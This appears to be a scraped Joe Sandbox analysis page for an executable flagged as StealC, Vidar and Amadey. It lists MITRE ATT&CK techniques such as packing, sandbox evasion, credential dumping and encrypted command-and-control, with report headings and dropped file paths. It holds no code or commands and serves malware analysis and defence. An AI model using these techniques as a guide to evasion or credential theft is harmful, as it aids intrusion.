Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report g4Cyr2T5jq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEHDAKFIJJKKEBGDBAAKKJJKEH

C:\ProgramData\BAFIEGIECGCBKFIEBGCAAFIEBF

C:\ProgramData\CBAKEBGIIDAFIDHIIECFCFIEGH

C:\ProgramData\DHCAAEBK

C:\ProgramData\FIJKEHJJDAAKFHIDAKFH

C:\ProgramData\IEHDBGDH

C:\ProgramData\IEHDBGDHDAECBGDHJKFI

Windows Analysis Report
g4Cyr2T5jq.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre